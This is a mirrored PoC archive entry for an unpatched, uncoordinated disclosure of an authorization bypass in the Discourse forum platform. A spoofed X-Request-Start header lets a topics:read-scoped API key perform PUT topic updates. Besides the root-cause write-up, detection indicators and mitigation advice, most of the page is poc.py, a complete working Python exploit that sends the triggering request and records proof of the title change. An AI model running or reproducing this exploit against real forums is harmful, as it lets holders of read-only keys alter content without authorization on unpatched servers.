PoC Archive PoC Archive
High None assigned as of 2026-07-03 unpatched

Discourse Scoped API Key Pre-Route Authorization Bypass

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
High
CVE
None assigned as of 2026-07-03
Category
web
Affected product
Discourse (forum platform)
Affected versions
Commit 3dfcc8f884313da69711ed5f26f3749fb6516ef2 (verified against docker.io/discourse/discourse_dev:20260609-1222)
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-06
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03
Categoryweb
SeverityHigh
CVSS ScoreNot yet scored (no CVE/CVSS assigned)
StatusPoC
Tagsdiscourse, authorization-bypass, api-key-scope, rails, middleware, privilege-escalation, route-confusion
RelatedN/A

Affected Target

FieldValue
Software / SystemDiscourse (forum platform)
Versions AffectedCommit 3dfcc8f884313da69711ed5f26f3749fb6516ef2 (verified against docker.io/discourse/discourse_dev:20260609-1222)
Language / PlatformRuby on Rails (target), Python 3.10+ (PoC driver using stdlib HTTP only)
Authentication RequiredYes (attacker needs a valid granular all-users API key scoped only to topics:read)
Network Access RequiredYes (HTTP access to the Discourse instance)

Summary

Discourse’s overload-protection middleware authenticates API requests before Rails routing has resolved the actual HTTP verb, and its scoped API key matcher (lib/route_matcher.rb) calls Rails.application.routes.recognize_path(request.path_info) without passing the real request method. By sending a caller-controlled X-Request-Start header that makes the request appear queued long enough to trigger the overload-protection authentication path, an attacker holding a read-only scoped API key (topics:read) can have that key’s permission check resolve against the GET route for a topic path even though the actual request is a PUT /t/:topic_id.json. The middleware then caches the authenticated API user in the Rack environment, and the later TopicsController#update action executes using that cached user, effectively turning a read-scoped API key into a write-capable request. In the researcher’s validated run, a control PUT without the header was correctly rejected (403) while the same request with X-Request-Start: t=0 succeeded (200) and changed the topic title. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed.


Vulnerability Details

Root Cause

lib/route_matcher.rb’s pre-route scope check resolves the request path via recognize_path without the actual HTTP method, so a PUT request can be matched against a GET-only route (topics#show) for scope-permission purposes; combined with the overload-protection middleware caching the resulting authenticated user in the Rack environment, this pre-route authorization decision is later reused by the real controller action regardless of the request’s true verb.

Attack Vector

  1. Attacker obtains or is issued a granular all-users Discourse API key scoped only to topics:read, plus a privileged API username able to edit the target topic.
  2. Attacker sends PUT /t/:topic_id.json with the scoped API key and an attacker-controlled X-Request-Start header set to a value that makes OverloadProtections treat the request as queued/overloaded.
  3. The overload middleware invokes the current-user provider, which calls api_key.request_allowed?ApiKeyScope#permits?RouteMatcher#path_params_from_request, resolving the path as topics#show (a topics:read-permitted route) without checking the real PUT verb.
  4. The middleware caches the resolved API user into _DISCOURSE_CURRENT_USER in the Rack environment.
  5. Rails then routes the request normally to TopicsController#update, which reads current_user from the same Rack environment (the cached API user) and performs the update, including guardian.ensure_can_edit!, which passes because the cached user has edit rights.

Impact

A read-scoped (topics:read) API key can be used to perform write operations (topic updates) as the API key’s associated username, effectively bypassing granular API key scope restrictions for any writable route whose path shape overlaps a read-permitted route.


Environment / Lab Setup

Target:   Discourse @ 3dfcc8f884313da69711ed5f26f3749fb6516ef2 (docker.io/discourse/discourse_dev:20260609-1222)
Attacker: Python 3.10+ (stdlib only), a topics:read-scoped all-users API key, one visible target topic

Proof of Concept

PoC Script

See poc.py in this folder.

1
2
3
4
5
6
7
python poc.py \
  --base-url http://127.0.0.1:3000 \
  --api-key '<topics-read-api-key>' \
  --api-username admin \
  --topic-id 8 \
  --new-title 'Scope bypass direct proof title' \
  --output proof.json

The script reads the target topic’s current title, sends a control PUT /t/:topic_id.json without X-Request-Start and confirms it is rejected (403) and the title unchanged, then sends the same request with X-Request-Start: t=0 and confirms it succeeds (200) and the title is changed — writing a JSON proof object with both results.


Detection & Indicators of Compromise

Signs of compromise:

  • Topic or other resource updates attributed to API usernames whose associated key is scoped read-only
  • Inbound requests with client-supplied X-Request-Start headers not stripped/overwritten by the reverse proxy
  • Audit log entries for writes performed via API keys that should be incapable of writes per their granular scope

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-03 — monitor for advisory from Discourse
Interim mitigationEnsure the reverse proxy strips/overwrites any client-supplied X-Request-Start header before it reaches Discourse; resolve routes with the real HTTP method during pre-route scope checks; avoid caching an authenticated user during overload handling for later reuse by unrelated controller actions

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: discourse-scoped-api-key-preauth-bypass) on 2026-07-03. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
import argparse
import json
import sys
import time
import urllib.error
import urllib.parse
import urllib.request


class HttpResult:
    def __init__(self, status, headers, body):
        self.status = status
        self.headers = dict(headers)
        self.body = body

    @property
    def text(self):
        return self.body.decode("utf-8", "replace")


def clean_base(value):
    return value.rstrip("/")


def short(value, limit=500):
    value = value.replace("\r", "\\r").replace("\n", "\\n")
    if len(value) <= limit:
        return value
    return value[:limit] + "..."


def request(method, url, timeout, headers=None, form=None):
    headers = dict(headers or {})
    body = None
    if form is not None:
        body = urllib.parse.urlencode(form).encode()
        headers.setdefault("Content-Type", "application/x-www-form-urlencoded")
    headers.setdefault("Accept", "application/json")
    req = urllib.request.Request(url, data=body, headers=headers, method=method)
    try:
        with urllib.request.urlopen(req, timeout=timeout) as response:
            return HttpResult(response.status, response.headers, response.read())
    except urllib.error.HTTPError as error:
        return HttpResult(error.code, error.headers, error.read())


def parse_json(result, label):
    try:
        return json.loads(result.text)
    except json.JSONDecodeError as error:
        raise RuntimeError(f"{label} returned invalid JSON: {error}: {short(result.text)}")


def api_headers(args, trigger=False):
    headers = {
        "Api-Key": args.api_key,
        "Api-Username": args.api_username,
    }
    if trigger:
        headers["X-Request-Start"] = args.request_start
    return headers


def topic_url(args):
    return f"{args.base_url}/t/{args.topic_id}.json"


def read_topic(args):
    result = request("GET", topic_url(args), args.timeout, headers=api_headers(args))
    if result.status < 200 or result.status >= 300:
        raise RuntimeError(f"topic read returned HTTP {result.status}: {short(result.text)}")
    data = parse_json(result, "topic read")
    title = data.get("title")
    if not title:
        raise RuntimeError(f"topic read response has no title: {short(result.text)}")
    return title, result


def update_topic(args, title, trigger):
    return request(
        "PUT",
        topic_url(args),
        args.timeout,
        headers=api_headers(args, trigger=trigger),
        form={"title": title},
    )


def validate_args(args, initial_title):
    if args.new_title == initial_title:
        raise RuntimeError("choose a new title that differs from the current topic title")
    if args.control_title == initial_title:
        raise RuntimeError("choose a control title that differs from the current topic title")
    if args.control_title == args.new_title:
        raise RuntimeError("control title and new title must differ")


def build_proof(args, initial_title, control_result, after_control, triggered_result, final_title):
    control_blocked = control_result.status >= 400
    control_unchanged = after_control == initial_title
    triggered_success = 200 <= triggered_result.status < 300
    triggered_changed = final_title == args.new_title
    return {
        "target": {
            "baseUrl": args.base_url,
            "topicId": args.topic_id,
            "apiUsername": args.api_username,
        },
        "initial": {
            "title": initial_title,
        },
        "controlWithoutHeader": {
            "httpStatus": control_result.status,
            "responsePreview": short(control_result.text),
            "titleAfterRequest": after_control,
            "blocked": control_blocked,
            "unchanged": control_unchanged,
        },
        "triggeredWithHeader": {
            "httpStatus": triggered_result.status,
            "responsePreview": short(triggered_result.text),
            "finalTitle": final_title,
            "success": triggered_success,
            "changed": triggered_changed,
        },
        "ok": control_blocked and control_unchanged and triggered_success and triggered_changed,
    }


def run(args):
    initial_title, _ = read_topic(args)
    validate_args(args, initial_title)
    control_result = update_topic(args, args.control_title, False)
    after_control, _ = read_topic(args)
    triggered_result = update_topic(args, args.new_title, True)
    final_title, _ = read_topic(args)
    return build_proof(args, initial_title, control_result, after_control, triggered_result, final_title)


def parse_args(argv):
    parser = argparse.ArgumentParser()
    parser.add_argument("--base-url", required=True)
    parser.add_argument("--api-key", required=True)
    parser.add_argument("--api-username", default="admin")
    parser.add_argument("--topic-id", required=True, type=int)
    parser.add_argument("--new-title", required=True)
    parser.add_argument("--control-title")
    parser.add_argument("--request-start", default="t=0")
    parser.add_argument("--timeout", default=30.0, type=float)
    parser.add_argument("--output", default="proof.json")
    args = parser.parse_args(argv)
    args.base_url = clean_base(args.base_url)
    if args.control_title is None:
        args.control_title = f"blocked control title {int(time.time())}"
    return args


def main(argv):
    args = parse_args(argv)
    try:
        proof = run(args)
    except Exception as error:
        print(f"error: {error}", file=sys.stderr)
        return 1
    text = json.dumps(proof, indent=2, sort_keys=True)
    if args.output == "-":
        print(text)
    else:
        with open(args.output, "w", encoding="utf-8") as handle:
            handle.write(text + "\n")
        print(text)
    return 0 if proof["ok"] else 1


if __name__ == "__main__":
    raise SystemExit(main(sys.argv[1:]))